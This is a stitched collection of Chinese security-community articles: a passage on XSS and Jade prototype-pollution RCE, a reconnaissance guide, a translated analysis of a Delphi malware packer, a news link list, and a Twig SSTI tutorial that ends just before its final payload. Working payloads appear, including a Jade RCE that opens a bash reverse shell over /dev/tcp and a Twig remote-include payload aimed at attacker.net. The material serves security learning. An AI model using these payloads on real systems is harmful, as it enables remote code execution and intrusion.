for(var i=0 ;i<datas.length; i++){
$.extend(true,allNode,datas[i])
}
// console.log(allNode);
}
})
}
`app.js`前端动态渲染
(function(){
var hints = {
header : "自定义内容",
notice: "自定义公告",
wiki : "自定义wiki",
button:"自定义内容",
message: "自定义留言内容"
};
for(key in hints){
// console.log(key);
element = $("li[type='"+key+"']");
if(element){
element.find("span.content").html(hints[key]);
}
}
})();
我们需要找到有`type`和`content` 属性
找到`logger`
</div>
<div class="am-g error-log">
<ul class="am-list am-in">
<li type="logger">
<div class="col-sm-12 col-sm-centered">
<pre class="am-pre-scrollable">
<span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span>
</pre>
</div>
</li>
</ul>
</div>
设置`content`为`<script>window.location='http://xx/'</script>`
或者form表单，将action设置为服务器地址，就可以收密码了，也就是flag
## 3\. Jade
参考自vk师傅的[文章](https://xz.aliyun.com/t/7025)
环境
server.js
const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));
app.get('/',function (req, res) {
res.send('Hello World');
})
app.post('/post',function (req, res) {
var body = JSON.parse(JSON.stringify(req.body));
var a = {};
var copybody = lodash.merge(a,body);
console.log(a.name);
res.render('index', {
title: 'HTML',
name: a.name || ''
});
})
app.listen(3000, () => console.log('Example app listening on port
<http://127.0.0.1:3000> !'))
res.render 下断点
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge res.locals
opts._locals = self.locals;
// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};
// render
app.render(view, opts, done);
};
app.render
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge app.locals
merge(renderOptions, this.locals);
// merge options._locals
if (opts._locals) {
merge(renderOptions, opts._locals);
}
// merge options
merge(renderOptions, opts);
// set .cache unless explicitly provided
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}
// primed cache
if (renderOptions.cache) {
view = cache[name];
}
// view
if (!view) {
var View = this.get('view');
view = new View(name, {
defaultEngine: this.get('view engine'),
root: this.get('views'),
engines: engines
});
if (!view.path) {
var dirs = Array.isArray(view.root) && view.root.length > 1
? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
: 'directory "' + view.root + '"'
var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
err.view = view;
return done(err);
}
// prime the cache
if (renderOptions.cache) {
cache[name] = view;
}
}
// render
tryRender(view, renderOptions, done);
};
tryRender
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
view.render
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};
exports.__express
exports.__express = function(path, options, fn) {
if(options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
options.compileDebug = false;
}
exports.renderFile(path, options, fn);
}
renderFile
exports.renderFile = function(path, options, fn){
// support callback API
if ('function' == typeof options) {
fn = options, options = undefined;
}
if (typeof fn === 'function') {
var res
try {
res = exports.renderFile(path, options);
} catch (ex) {
return fn(ex);
}
return fn(null, res);
}
options = options || {};
options.filename = path;
return handleTemplateCache(options)(options);
};
handleTemplateCache
function handleTemplateCache (options, str) {
var key = options.filename;
if (options.cache && exports.cache[key]) {
return exports.cache[key];
} else {
if (str === undefined) str = fs.readFileSync(options.filename, 'utf8');
var templ = exports.compile(str, options);
if (options.cache) exports.cache[key] = templ;
return templ;
}
}
exports.compile
exports.compile = function(str, options){
var options = options || {}
, filename = options.filename
? utils.stringify(options.filename)
: 'undefined'
, fn;
str = String(str);
var parsed = parse(str, options);
if (options.compileDebug !== false) {
fn = [
'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
, 'try {'
, parsed.body
, '} catch (err) {'
, ' jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
, '}'
].join('\n');
} else {
fn = parsed.body;
}
fn = new Function('locals, jade', fn)
var res = function(locals){ return fn(locals, Object.create(runtime)) };
if (options.client) {
res.toString = function () {
var err = new Error('The `client` option is deprecated, use the `jade.compileClient` method instead');
err.name = 'Warning';
console.error(err.stack || /* istanbul ignore next */ err.message);
return exports.compileClient(str, options);
};
}
res.dependencies = parsed.dependencies;
return res;
};
compile -> parse -> compiler.compile
compile: function(){
this.buf = [];
if (this.pp) this.buf.push("var jade_indent = [];");
this.lastBufferedIdx = -1;
this.visit(this.node);
if (!this.dynamicMixins) {
// if there are no dynamic mixins we can remove any un-used mixins
var mixinNames = Object.keys(this.mixins);
for (var i = 0; i < mixinNames.length; i++) {
var mixin = this.mixins[mixinNames[i]];
if (!mixin.used) {
for (var x = 0; x < mixin.instances.length; x++) {
for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) {
this.buf[y] = '';
}
}
}
}
}
return this.buf.join('\n');
},
visit
visit: function(node){
var debug = this.debug;
if (debug) {
this.buf.push('jade_debug.unshift(new jade.DebugItem( ' + node.line
+ ', ' + (node.filename
? utils.stringify(node.filename)
: 'jade_debug[0].filename')
+ ' ));');
}
// Massive hack to fix our context
// stack for - else[ if] etc
if (false === node.debug && this.debug) {
this.buf.pop();
this.buf.pop();
}
this.visitNode(node);
if (debug) this.buf.push('jade_debug.shift();');
},
这里有拼接 `node.line` `node.filename`
### stringfy 是啥？
exports.stringify = function(str) {
return JSON.stringify(str)
.replace(/\u2028/g, '\\u2028')
.replace(/\u2029/g, '\\u2029');
};
去掉了双引号，所以能注入的只有node.line
payload:
> {" **proto** ":{"compileDebug":1,"self":1,"line":"console.log('test
> inject')"}}
RCE:
> {" **proto**
> ":{"compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').execSync('bash
> -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}
## Referfer
<https://xz.aliyun.com/t/6113#reply-13859>
<https://www.xmsec.cc/prototype-pollution-notes/>
<https://www.xmsec.cc/prototype-pollution-notes/>
<https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html>
<https://snyk.io/vuln/SNYK-JS-JQUERY-174006>) | 社区文章 |
前言：最近学习关于信息方面的内容，感觉非常有意思，就将自己总结的笔记分享一下。共同学习，共同进步。
## 域名信息收集
域名介绍(Domain Name)：是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称，用于在数据传输时标识计算机的电子方位。
例如：www.baidu.com
whois是用来查询域名的IP以及所有者等信息的传输协议。就是一个用来查询域名是否被注册，以及注册域名的详细信息的数据库(如域名所有人，域名注册商)
whois协议。基本内容是，先向服务器的TCP端口43 建立一个连接发送查询关键字并加上回车换行，然后接收服务器的查询结果。
whois查询：
whois查询的重要性：通过whois查询可以获得域名注册者邮箱地址等信息。一般情况下对于中小型网站域名注册者就是网站管理员。利用搜索引擎对whois查询到的信息进行搜索，获取更多域名注册者的个人信息。
whois查询方法：
1.Web接口查询：
<https://whois.aliyun.com/>
<https://www.whois365.com/cn/>
<http://whois.chinaz.com/>
<https://whois.aizhan.com/>
2.通过whois命令行查询
在kali linux下自带了whois查询工具，通过命令 whois 域名 进行查询
与在线网站查到的信息是一样的。
ICP备案查询方法：
Web接口查询：
<http://www.beianbeian.com/>
<http://www.miitbeian.gov.cn/publish/query/indexFirst.action>
<https://www.tianyancha.com/>
## 子域名信息收集
子域名，凡顶级域名前加前缀的都是该顶级域名的子域名，子域名根据技术的多少分为二级子域名，三级子域名，多级子域名。
子域名是某个主域的二级域名或多级域名，在防御措施严密情况下无法直接拿下主域，那么就可以采用迂回战术拿下子域名，然后无限靠街主域。
1.子域名挖掘工具：Maltego CE、wydomain、subDomainsBrute、dnsmaper。layer子域名挖掘机。
2.搜索引擎挖掘， 如：在谷歌中输入site:sina.com
3.第三方网站查询：
<http://tool.chinaz.com/subdomain>
<https://dnsdumpster.com>
4.证书透明度公开日志枚举：
<https://crt.sh/>
<http://censys.io/>
5.其他途径
<https://phpinfo.me/domain>
<http://dns.aizhan.com>
## CMS指纹识别
称为内容管理系统，用于网站内容文章管理
常见CMS：dedecms(织梦)、Discuz、phpcms等。
CMS在线识别工具
<http://whatweb.bugscaner.com/look/>
<http://www.yunsee.cn/finger.html>
本地工具 whatweb
御剑web指纹识别
大禹CMS识别程序 <https://github.com/Ms0x0/Dayu>
针对CMS漏洞查询
对于查询到的CMS可以利用 <https://bugs.shuimugan.com> 网站进行查询
探测工具
1.御剑(2020出了最新版本的御剑，有兴趣的可以找找)
工具界面
感觉应该不错的。
2.wwwscan命令行工具
3.dirb命令行工具
4.dirbuster扫描工具
5.wpscan（kali自带）
## 端口信息
windows命令行中使用netstat -anbo查看开放端口
端口收集
1.使用nmap探测。nmap -A -v -T4 目标ip
2.使用masscan探测(kali自带)
3.使用在线网站探测 <http://tool.chinaz.com/port/>
端口攻击
攻击者通过收集信息知道用户的哪个端口开启，就会知道怎么进行攻击，攻击方式多种多样常见的针对远程连接的服务端口有22、23、3389、5900、5632等端口，当然其他扫描到的端口可以在搜索引擎中查找对应的攻击方法进行测试。因为我也是小白，就先了解一下(多了解点知识总没坏处)
防御措施
1.关闭不必要的端口
2.对重要业务的服务端口设置防火墙
3.经常性更改用户密码
经常更新软件，打补丁（patch）
## 敏感信息收集
1.Google hack是指使用谷歌等搜索引擎对某些特定的网络主机漏洞进行搜索
Google hacking数据库： <https://www.exploit-db.com/google-hacking-database/>
例如：查询Access数据： filetype:mdb "standard jet" (password | username | user | pass)
2.Github信息泄露
github之邮件配置信息泄露：site:github.com smtp 、site:github.com smtp @qq.com
github之数据库信息泄露; site:github.com sa password 、 site:github.com root
password、site:github.com User ID='sa' ;Password
github之svn信息泄露：site:github.com svn 、 site:github.com svn username
github综合信息泄露： site:github.com password 、 site:github.com ftp ftppassword 、
site:github.com 密码 、site:github.com 内部
## 真实IP地址收集
CDN就是内容分发网络，是构建在网络之上的内容分发网络，依靠部署在各地的边缘服务器，通过中心平台的负载均衡、内容分发、调度等功能模块，使用户就近获取所需内容，降低网络拥塞，提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。
判断CDN存在
通过ping 方法
这是一个存在CDN的网站，我尝试ping方法看到它是存在CDN的。
但是这个IP，是访问不了的。这里我没有将这个IP打码，就是因为这个。
通过设置代理或者利用在线ping网站来使用不同地区的Ping服务器来测试目标
<http://ping.chinaz.com>
绕过CDN
如果目标没有使用CDN，可以通过ping获取IP地址。或者利用在线网站 <http://www.ip138.com>
使用了CDN，那就绕过CDN来获取真实的IP地址
1.内部邮箱源，收集到内部邮箱服务器IP地址
2.网站phpinfo文件 phpinfo.php
3.分站IP地址，查询子域名 CDN很贵，很有可能分站就不再使用CDN。
4.国外访问 <https://asm.ca.com/en/ping.php>
因为有些网站设置CDN可能没有把国外的访问包含进去，所以可以这么绕过.
还是刚才那个有CDN的网站，这里就看出有许多的IP，不一样。
5,查询域名解析记录 <https://viewdns.info/>
验证IP地址
因为通过各种方法得到的IP地址有好多，就说明有的是伪IP，无法访问，这就需要逐个验证，方法简单但是信息量比较大，目前我还没了解到什么方法快速筛选，因为只是了解这些知识基础。
利用IP地址对Web站点进行访问，如果正常表明是真实的IP地址，否则不为真。 | 社区文章 |
原文：<https://www.fireeye.com/blog/threat-research/2018/09/increased-use-of-delphi-packer-to-evade-malware-classification.html>
**简介**
* * *
为了绕过静态和动态分析，威胁组织经常为恶意程序采取"加壳"或"加密"措施，并且这种做法非常流行。实际上，免杀和查杀是一个军备竞赛，因此，在这场持久战中，各种新技术会不断涌现，并被迅速采用。例如，据我们观察，许多加密服务都是由地下论坛提供的，他们声称能够绕过反病毒技术、沙箱和其他端点解决方案，任何恶意软件只要采用了他们的服务，就能够实现“完全无法检测（Fully
Undetectable，FUD）”的效果。我们还发现，越来越多的威胁组织正在设法模拟正常的用户行为，并将其作为基于恶意软件指纹分析技术的有效对策。
**恶意软件的保护神：Delphi代码**
* * *
在这里，我们所考察的样本具有Delphi签名（见图1），并且与使用IDR（Interactive Delphi
Reconstructor）分析时看到的Delphi代码构造完全一致。
图1：样本中的Delphi签名
对于基于Windows
API函数的应用程序和程序来说，Delphi是一种简单易用的编程语言。事实上，一些组织会故意将某些默认库包含进恶意软件中，以此转移静态分析人员的注意力，并能让应用程序在进行动态分析时“看起来很正常”。图2显示的地下论坛帖子，就是在讨论这些技术。
图2：地下论坛中的免杀技术帖
**有效载荷的投递**
* * *
我们发现，许多攻击组织都曾利用这种有效载荷进行加壳处理，然后通过垃圾邮件进行分发，当然，针对不同的人群，他们会使用不同的邮件主题。
一个样本是与电汇有关的垃圾邮件，它将一个文档文件作为邮件附件（哈希值：71cd5df89e3936bb39790010d6d52a2d），其作用是利用恶意宏来投递有效载荷。该垃圾邮件如图3所示。
图3：垃圾邮件样本1
另一个例子是报价方面的垃圾邮件，它将一个漏洞利用文档文件作为附件（哈希值：0543e266012d9a3e33a9688a95fce358），其作用是利用公式编辑器漏洞来投递有效载荷（图4）。
图4：垃圾邮件样本2
样本中的文档会从<http://5.152.203.115/win32.exe下载有效载荷，其实，就是Lokibot恶意软件。>
**用户行为检测**
* * *
这个加壳器会尽力确保自己不在安全分析环境中运行。对于普通用户来说，通常会在一定时间内切换多个应用程序窗口。该加壳器的第一个变体，会使用GetForegroundWindow
API来检测用户切换窗口的次数，准确来说，只有切换三次之后，它才会继续执行其他代码。如果它没有检测到窗户的变化，就会自动进入无限期的睡眠状态，具体代码如图5所示。有趣的是，尽管这种技术非常简单，却能检测到多种常用的沙箱。
图5：检测窗口的变化情况
为了对用户活动进行印证，加壳器的第二个变体使用GetCursorPos和Sleep
API来检查鼠标和光标的移动情况，而第三个变体则使用GetLastInputInfo和GetTickCount API来检查系统的空闲状态。
**从PE资源中提取实际有效载荷**
* * *
原始的有效载荷被拆分为多个二进制代码段，并分别存储在资源目录内的不同位置，如图6所示。
图6：具有加密内容的位图资源
为了定位和组装实际有效载荷的代码字节，该加壳器首先会从资源部分内硬编码的资源ID中读取相应的内容。其中，前16个字节用于生成一个XOR密钥，用于通过滚动XOR方法来解密其余字节。解密后的字节内容，实际上就是一些内部数据结构，具体如图7所示，供加壳器用于引用各种资源ID对应的缓冲区，注意，这些缓冲区都经过了相应的加密和混淆处理。
图7：展示加密文件信息的数据结构
之后，该加壳器就会从加密缓冲区读取相应的值，从dwStartResourceId开始，直到dwStartResourceId+dwNumberOfResources为止；并通过读取dwChunkSize块信息将其放到一个地方。一旦准备好最终数据缓冲区，就会通过前面讲过的滚动XOR算法和上述结构中的新密钥对其进行解密，从而生成有效载荷可执行文件。这个脚本可用于[静态提取实际有效载荷](https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/script.pdf "静态提取实际有效载荷")。
**恶意软件的家族分布**
* * *
根据我们从样本集中提取的许多未加壳的二进制文件来看，它们都属于Lokibot恶意软件家族。此外，我们还能够识别Pony、IRStealer、Nanocore、Netwire、Remcos和nJRAT恶意软件家族，以及挖矿恶意软件家族，等等。使用该加壳器的恶意软件家族的分布如图8所示。不难看出，这里出现了多种恶意软件家族，这意味着许多威胁组织正在使用这种“加密”服务/工具进行免杀处理，并且很可能是从开发人员本身那里购买的。
图8：使用该加壳器的恶意软件家族分布情况
**小结**
* * *
自从有了加壳和加密服务之后，威胁组织就可以直接将有效载荷的免杀工作外包出去，一方面是简单省事，另一方面，还能提高免杀效果。而且，这些免杀服务的提供者经常会找到基于安全分析对抗技术的沙箱环境绕过方法；因此，利用模拟真实用户行为的沙箱环境来“引爆”恶意软件样本的方法已经不再可靠了。
**IOC**
* * *
853bed3ad5cc4b1471e959bfd0ea7c7c
e3c421d404c08809dd8ee3365552e305
14e5326c5da90cd6619b7fe1bc4a97e1
dc999a1a2c5e796e450c0a6a61950e3f
3ad781934e67a8b84739866b0b55544b
b4f5e691b264103b9c4fb04fa3429f1e | 社区文章 |
# 【知识】6月13日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
攻击电网的CRASHOVERRIDE恶意软件框架报告、蓝牙App漏洞系列分析之二CVE-2017-0639、安全技能树简版、SSTIC2017年度网络安全会议上法国网络安全机构发布TV5Monde电视网络频道被入侵的细节、对勒索软件MacRansom的分析、通过云服务提供商劫持DNS、详细分析CARBANAK后门、Windows
10下MS16-098 RGNOBJ整数溢出漏洞分析及利用**
**资讯类：**
* * *
Industroyer ICS恶意软件跟乌克兰电力网攻击有关联
<http://www.securityweek.com/industroyer-ics-malware-linked-ukraine-power-grid-attack>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
攻击电网的CRASHOVERRIDE恶意软件框架报告
<https://dragos.com/blog/crashoverride/CrashOverride-01.pdf>
hacking Virgin MediaSuper Hub
<https://www.contextis.com/resources/blog/hacking-virgin-media-super-hub/>
内网端口转发及穿透
<https://xianzhi.aliyun.com/forum/read/1715.html>
蓝牙App漏洞系列分析之二CVE-2017-0639
<https://xianzhi.aliyun.com/forum/read/1713.html>
Sanic <=0.5.0 static file任意文件读取
<https://xianzhi.aliyun.com/forum/read/1712.html>
安全技能树简版
<http://evilcos.me/security_skill_tree_basic/index.html>
php2017大会-PHP安全开发_从白帽角度做安全
[https://github.com/devlinkcn/ppts_for_php2017/blob/master/PHP%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91_%E4%BB%8E%E7%99%BD%E5%B8%BD%E8%A7%92%E5%BA%A6%E5%81%9A%E5%AE%89%E5%85%A8–%E6%B1%A4%E9%9D%92%E6%9D%BE.pdf](https://github.com/devlinkcn/ppts_for_php2017/blob/master/PHP%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91_%E4%BB%8E%E7%99%BD%E5%B8%BD%E8%A7%92%E5%BA%A6%E5%81%9A%E5%AE%89%E5%85%A8--%E6%B1%A4%E9%9D%92%E6%9D%BE.pdf)
Windows 10下MS16-098 RGNOBJ整数溢出漏洞分析及利用
<https://security.tencent.com/index.php/blog/msg/117>
Python Sandbox Bypass
[https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a](https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a)
对于AppCms系统的一次综合审计
[https://forum.90sec.org/forum.php?mod=viewthread&tid=10577](https://forum.90sec.org/forum.php?mod=viewthread&tid=10577)
看雪CTF2017第二题lelfeiCM、独行孤客CrackMe的writeup
<http://anhkgg.github.io/kxctf2017_writeup2/>
<http://anhkgg.github.io/kxctf2017-writeup5/>
小白审计JACKSON反序列化漏洞
<http://bbs.pediy.com/thread-218416.htm>
攻击JavaWeb应用 [1]
<https://threathunter.org/topic/593ea6b1a5edfd44628f5b34>
Windows 日志攻防之攻击篇
<https://threathunter.org/topic/593eb1bbb33ad233198afcfa>
超级后门PLATINUM组织隐蔽通信工具分析（含演示视频）
<http://bobao.360.cn/learning/detail/3967.html>
shell在手分析服务器日志不愁
<https://segmentfault.com/a/1190000009745139>
SSTIC2017年度网络安全会议上法国网络安全机构发布TV5Monde电视网络频道被入侵的细节
<https://blog.comae.io/lessons-from-tv5monde-2015-hack-c4d62f07849d>
一款用于发现SSRF、XXE、XSS漏洞的小工具
<https://github.com/jobertabma/ground-control>
对勒索软件MacRansom的分析
<https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service>
BSides London 2017 WriteUp (Talk & Slides)
<https://www.peerlyst.com/posts/bsides-2017-writeup-talk-and-slides-porthunter>
联系学习CTF技能的一个网站
<http://ctf.tf/>
通过文件扩展名的方式绕过AppLocker
<https://pentestlab.blog/2017/06/12/applocker-bypass-file-extensions/>
通过云服务提供商劫持DNS
<https://2017.appsec.eu/presos/Developer/DNS%20hijacking%20using%20cloud%20providers%20%E2%80%93%20no%20verification%20needed%20-%20Frans%20Rosen%20-%20OWASP_AppSec-Eu_2017.pdf>
如何通过 SSH 隧道进行域渗透的 PtT 攻击
<http://paper.seebug.org/321/>
详细分析CARBANAK后门
<https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html> | 社区文章 |
## Twig 简介
Twig 是一个灵活、快速、安全的 PHP 模板语言。它将模板编译成经过优化的原始 PHP 代码。Twig 拥有一个 Sandbox
模型来检测不可信的模板代码。Twig 由一个灵活的词法分析器和语法分析器组成，可以让开发人员定义自己的标签，过滤器并创建自己的 DSL。
> ### Twig is a modern template engine for PHP
>
> * **Fast** : Twig _compiles_ templates down to plain optimized PHP code.
> The overhead compared to regular PHP code was reduced to the very minimum.
> * **Secure** : Twig has a _sandbox_ mode to evaluate untrusted template
> code. This allows Twig to be used as a template language for applications
> where users may modify the template design.
> * **Flexible** : Twig is powered by a flexible _lexer_ and _parser_. This
> allows the developer to define its own custom tags and filters, and create
> its own DSL.
>
Twig 被许多开源项目使用，比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM；许多框架也支持
Twig，比如 Slim、Yii、Laravel 和 Codeigniter 等等。
## Twig 的安装
* 这里我们的 Twig 版本是 Twig 3.x，其需要的 PHP 版本为 PHP 7.2.5。
建议通过 Composer 安装 Twig：
composer require "twig/twig:^3.0"
安装之后可以直接使用 Twig 的 PHP API 进行调用：
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['name' => 'whoami']);
上述代码中，Twig 首先使用一个加载器 `Twig_Loader_Array` 来定位模板，然后使用一个环境变量 `Twig_Environment`
来存储配置信息。其中， `render()` 方法通过其第一个参数载入模板，并通过第二个参数中的变量来渲染模板。
由于模板文件通常存储在文件系统中，Twig 还附带了一个文件系统加载程序：
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\FilesystemLoader('./views');
//$loader = new \Twig\Loader\FilesystemLoader('./templates');
$twig = new \Twig\Environment($loader, [
'cache' => './cache/views', // cache for template files
]);
echo $twig->render('index.html', ['name' => 'whoami']);
注意，如果你没有使用 Composer，从 [Github](https://github.com/twigphp/Twig/tags)
上下载最新的压缩包，然后像下面这样使用 Twig 的内置自动加载器：
require_once __DIR__.'/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
## Twig 模板的基础语法
模板实际就是一个常规的文本文件，它可以生成任何基于文本的格式（HTML、XML、CSV、LaTeX等）。它没有特定的扩展名，`.html`、`.xml`、`.twig`
都行。
模板包含变量或表达，在评估编译模板时，这些带值的变量或表达式会被替换。还有一些控制模板逻辑的标签 tags。下面是一个非常简单的模板，它阐述了一些基础知识：
<!DOCTYPE html>
<html>
<head>
<title>My Webpage</title>
</head>
<body>
<ul id="navigation">
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
</ul>
<h1>My Webpage</h1>
{{ a_variable }}
</body>
</html>
有两种形式的分隔符：`{% ... %}` 和 `{{ ... }}`。前者用于执行语句，例如 `for` 循环，后者用于将表达式的结果输出到模板中。
### 变量
应用程序将变量传入模板中进行处理，变量可以包含你能访问的属性或元素。你可以使用 `.` 来访问变量中的属性（方法或 PHP 对象的属性，或 PHP
数组单元），也可以使用所谓的 "subscript" 语法 `[]`:
{{ foo.bar }}
{{ foo['bar'] }}
### 设置变量
可以为模板代码块内的变量赋值，赋值使用 [set](https://www.osgeo.cn/twig/tags/set.html) 标签：
{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}
### 过滤器
可以通过过滤器 filters 来修改模板中的变量。在过滤器中，变量与过滤器或多个过滤器之间使用 `|`
分隔，还可以在括号中加入可选参数。可以连接多个过滤器，一个过滤器的输出结果将用于下一个过滤器中。
下面这个过滤器的例子会剥去字符串变量 `name` 中的 HTML 标签，然后将其转化为大写字母开头的格式:
{{ name|striptags|title }}
// {{ '<a>whoami<a>'|striptags|title }}
// Output: Whoami!
下面这个过滤器将接收一个序列 `list`，然后使用 `join` 中指定的分隔符将序列中的项合并成一个字符串：
{{ list|join }}
{{ list|join(', ') }}
// {{ ['a', 'b', 'c']|join }}
// Output: abc
// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c
更多内置过滤器请参考：<https://twig.symfony.com/doc/3.x/filters/index.html>
### 函数
在 Twig 模板中可以直接调用函数，用于生产内容。如下调用了 `range()` 函数用来返回一个包含整数等差数列的列表：
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
// Output: 0, 1, 2, 3,
更多内置函数请参考：<https://twig.symfony.com/doc/3.x/functions/index.html>
### 控制结构
控制结构是指控制程序流程的所有控制语句 `if`、`elseif`、`else`、`for` 等，以及程序块等等。控制结构出现在 `{% ... %}`
块中。
例如使用 `for` 标签进行循环：
<h1>Members</h1>
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
`if` 标签可以用来测试表达式：
{% if users|length > 0 %}
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
{% endif %}
更多 tags 请参考：<https://twig.symfony.com/doc/3.x/tags/index.html>
### 注释
要在模板中注释某一行，可以使用注释语法 `{# ...#}`：
{# note: disabled template because we no longer use this
{% for user in users %}
...
{% endfor %}
#}
### 引入其他模板
Twig 提供的 `include` 函数可以使你更方便地在模板中引入模板，并将该模板已渲染后的内容返回到当前模板：
{{ include('sidebar.html') }}
### 模板继承
Twig 最强大的部分是模板继承。模板继承允许您构建一个基本的 "skeleton" 模板，该模板包含站点的所有公共元素，并定义子模版可以覆写的
blocks 块。
然后允许其他子模板集成并重写。
比如，我们先来定义一个基础的模板 base.html，它定义了一个基础的 HTML skeleton 文档：
<!DOCTYPE html>
<html>
<head>
{% block head %}
<link rel="stylesheet" href="style.css" />
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
© Copyright 2011 by <a href="http://domain.invalid/">you</a>.
{% endblock %}
</div>
</body>
</html>
在这个例子中，`block` 标签定义了 4 个块，可以由子模版进行填充。对于模板引擎来说，所有的 `block` 标签都可以由子模版来覆写该部分。
子模版大概是这个样子的：
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ parent() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<h1>Index</h1>
<p class="important">
Welcome to my awesome homepage.
</p>
{% endblock %}
其中的 `extends` 标签是关键所在，其必须是模板的第一个标签。 `extends`
标签告诉模板引擎当前模板扩展自另一个父模板，当模板引擎评估编译这个模板时，首先会定位到父模板。由于子模版未定义并重写 `footer`
块，就用来自父模板的值替代使用了。
更多 Twig 的语法请参考：<https://twig.symfony.com/doc/3.x/>
## Twig 模板注入
和其他的模板注入一样，Twig 模板注入也是发生在直接将用户输入作为模板，比如下面的代码：
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
这里的代码中，`createTemplate` 时注入了
`$_GET['name']`，此时就会引发模板注入。而如下代码则不会，因为模板引擎解析的是字符串常量中的 `{{name}}`，而不是动态拼接的
`$_GET["name"]`：
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['name' => 'whoami']);
而对于 Twig 模板注入利用，往往就是借助模板中的一些方法或过滤器实现攻击目的。下面我们分版本进行讲解。
### Twig 1.x
测试代码如下：
* index.php
<?php
include __DIR__.'/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
echo $twig->render($_GET['name']);
?>
在 Twig 1.x 中存在三个全局变量：
* `_self`：引用当前模板的实例。
* `_context`：引用当前上下文。
* `_charset`：引用当前字符集。
对应的代码是：
protected $specialVars = [
'_self' => '$this',
'_context' => '$context',
'_charset' => '$this->env->getCharset()',
];
这里主要就是利用 `_self` 变量，它会返回当前 `\Twig\Template` 实例，并提供了指向 `Twig_Environment` 的
`env` 属性，这样我们就可以继续调用 `Twig_Environment` 中的其他方法，从而进行 SSTI。
比如以下 Payload 可以调用 `setCache` 方法改变 Twig 加载 PHP 文件的路径，在 `allow_url_include`
开启的情况下我们可以通过改变路径实现远程文件包含：
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
此外还有 `getFilter` 方法：
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
我们在 `getFilter` 里发现了危险函数 `call_user_func`。通过传递参数到该函数中，我们可以调用任意 PHP 函数。Payload
如下：
